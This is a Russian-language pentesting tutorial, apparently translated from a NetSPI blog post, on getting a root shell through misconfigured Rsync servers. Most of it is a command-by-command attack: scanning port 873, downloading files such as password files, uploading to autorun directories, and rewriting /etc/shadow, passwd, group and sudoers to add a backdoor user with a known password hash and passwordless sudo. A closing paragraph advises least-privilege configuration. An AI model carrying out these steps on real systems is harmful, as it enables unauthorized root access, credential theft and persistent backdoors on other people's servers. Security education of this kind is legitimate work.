07.11.2020 | Методы проникновения в линуксовые системы (часть 1): Rsync |
Автор: Scott Sutherland В этой статье будет рассмотрено получение шелла с правами суперпользователя в Линуксе с небезопасной конфигурацией в Rsync. Думаю, будет полезно как начинающим пентестерам, так и тем, кто желает освежить знания по этой теме. Это первая из пяти частей, предусмотренных в этой серии. Мы рассмотрим методы первоначального проникновения в систему и повышения локальных привилегий, в основном используемые во время реальных сетевых пентестов. Что такое RSYNCRsync представляет собой утилиту для передачи и синхронизации файлов между двумя серверами (обычно с Линуксом). Синхронизация выполняется по результатам проверки размера файлов и временных меток. Так в чем же проблема? Во время каждого третьего пентеста мы обнаруживаем сервера с небезопасными настройками для Rsync, позволяющие получить неавторизированный доступ к конфиденциальным данным, а в некоторых случаях шелл с правами суперпользователя. Как вы понимаете, все зависит от конкретной конфигурации. Для удаленного доступа к совместно используемым каталогам через Rsync требуется две вещи: доступ к общим файловым ресурсам и права доступа к файлам.
Ниже показан пример конфигурационного файла Rsyncd.conf, разрешающего анонимный доступ с правами суперпользователя ко всей файловой системе: motd file = /etc/Rsyncd.motd lock file = /var/run/Rsync.lock log file = /var/log/Rsyncd.log pid file = /var/run/Rsyncd.pid [files] path = / comment = Remote file share. uid = 0 gid = 0 read only = no list = yes Поиск серверов с RSYNC
По умолчанию служба Rsync слушает на порту 873 и обычно сконфигурирована без необходимости в аутентификации и без ограничений по IP-адресу. Найти сервера со службой Rsync можно при помощи утилит навроде nmap. nmap -sS -sV -p873 192.168.1.0/24 –oA Rsync_scan grep –i "open" Rsync_scan.gnmap
Рисунок 1: Поиск серверов со службой Rsync Получение списка совместно используемых ресурсов в RsyncНиже показаны команды, которые могут быть использованы для получения списка доступных директорий и файлов. Содержимое директории rsync 192.168.1.171::
Содержимое вложенной директории rsync 192.168.1.171::files
Список директорий и файлов рекурсивно rsync -r 192.168.1.171::files/tmp/
Рисунок 2: Перечень вложенных директорий Загрузка файлов с сервера через RSYNCНиже показаны команды, которые можно использовать для загрузки с сервера файлов, найденных через Rsync. Легко скачивать файлы, содержащие пароли и другую конфиденциальную информацию. Загрузка файлов rsync 192.168.1.171::files/home/test/mypassword.txt . Загрузка папок rsync -r 192.168.1.171::files/home/test/
Рисунок 3: Пример загрузки файлов и папок с сервера Загрузка файлов на сервер через RSYNCНиже показаны команды для загрузки файлов на сервер при помощи Rsync. Полезно для загрузки скриптов и бинарных файлов в директории, где происходит автоматический запуск. Загрузка файлов на сервер rsync ./myfile.txt 192.168.1.171::files/home/test Загрузка директорий на сервер rsync -r ./myfolder 192.168.1.171::files/home/test
Рисунок 4: Пример загрузки файла на сервер Создание нового пользователя через RsyncЕсли Rsync сконфигурирован на запуск от имени root, и доступно анонимное подключение, в этом случае можно создать нового привилегированного пользователя, непосредственно изменяя файлы shadow, passwd, group и sudoers. Примечание: Тот же подход можно использовать для любой уязвимости, которая дает полноценное право на запись в операционной системе. Другие примеры могут включать NFS-экспорты, а также загрузку на сервер веб-шеллов и последующий запуск от имени root. Создание домашней директорииНачинаем с создания домашней директории пользователя. # Create local work directories mkdir demo mkdir backup cd demo # Create new user’s home directory mkdir ./myuser rsync -r ./myuser 192.168.1.171::files/home Создание новой записи в файле shadowВ файле /etc/shadow содержатся пароли и другая информация о пользователе, как, например, домашняя директория. Этот файл доступен только для суперпользователя. Чтобы добавить запись о новом пользователе через Rsync, нужно:
Примечание: Убедитесь, что новый пользователь уже не существует в системе. Создание зашифрованного пароля: openssl passwd -crypt password123 Добавление записи о новом пользователе в файл /etc/shadow: rsync -R 192.168.1.171::files/etc/shadow . cp ./etc/shadow ../backup echo "myuser:MjHKz4C0Z0VCI:17861:0:99999:7:::" >> ./etc/shadow rsync ./etc/shadow 192.168.1.171::files/etc/ Создание новой записи в файле passwdВ файле /etc/passwd хранится информация о зарегистрированных пользователях, у которых есть доступ к системе, но не хранятся зашифрованные пароли. Этот файл доступен для чтения всем пользователям. Для добавления записи о новом пользователе через Rsync, нужно сделать следующее:
Примечание: Можно легко изменить uid, однако следует убедиться, что это значение совпадает с тем, которое установлено в файле /etc/group. В нашем случае UID/GUID равны 1021. Добавление новой записи в файл /etc/passwd: rsync -R 192.168.1.171::files/etc/passwd . cp ./etc/passwd ../backup echo "myuser:x:1021:1021::/home/myuser:/bin/bash" >> ./etc/passwd rsync ./etc/passwd 192.168.1.171::files/etc/ Создание новой записи в файле groupВ файле /etc/group содержится информация о группах. Зашифрованных паролей нет. Этот файл доступен для чтения всем пользователям. Для добавления новой записи через Rsync нужно:
Примечание: Можно легко поменять uid, но нужно убедиться, что это значение соответствует тому, которое указано в файле /etc/passwd. В нашем случае UID/GUID равны 1021. Добавление новой записи в /etc/group: rsync -R 192.168.1.171::files/etc/group . cp ./etc/group ../backup echo "myuser:x:1021:" >> ./etc/group rsync ./etc/group 192.168.1.171::files/etc/ Создание новой записи в файле sudoersФайл /etc/sudoers содержит список пользователей, которым разрешено запускать команды от имени суперпользователя при помощи утилиты sudo. Этот файл доступен для чтения только суперпользователю. Мы будем модифицировать /etc/sudoers, чтобы новый пользователь смог запускать команды через sudo. Для добавление новой записи через Rsync нужно:
Добавление новой записи в /etc/sudoers: rsync -R 192.168.1.171::files/etc/sudoers . cp ./etc/sudoers ../backup echo "myuser ALL=(ALL) NOPASSWD:ALL" >> ./etc/sudoers rsync ./etc/sudoers 192.168.1.171::files/etc/
Теперь вы можете залогиниться на сервере через SSH при помощи только что созданного пользователя, запустить команду sudo sh и получить привилегии суперпользователя. Демонстрационное видео атаки через RsyncНиже приведено видео, созданное в тестовой среде, где показан процесс идентификации и эксплуатации уязвимости сервера с небезопасной конфигурацией Rsync для получения шелла с правами суперпользователя. Кажется, довольно просто, но такие ситуации встречаются во время реальных пентестов. http://blog.netspi.com/wp-content/uploads/2020/03/RSYNC_ATTACK_DEMO.mp4 ЗаключениеВ этой статье был продемонстрирован один из методов для получения удаленного шелла с правами суперпользователя в Линуксе при помощи уязвимости, дающей права на запись. Хотя существует множество методов решения одной задачи, я считаю, что мораль истории такова: все типы совместно используемых сетевых ресурсов должны быть сконфигурированы с минимально возможными привилегиями с целью предотвращения неправомерного доступа к данным и системам. Надеюсь, статья окажется полезной для начинающих пентестеров и специалистов по безопасности, которые пытаются оценить последствия от небезопасных настроек в Rsync. Во второй части поговорим об NFS-экспортах и флаге setupid у бинарных файлов. Ссылки
|
Проверить безопасность сайта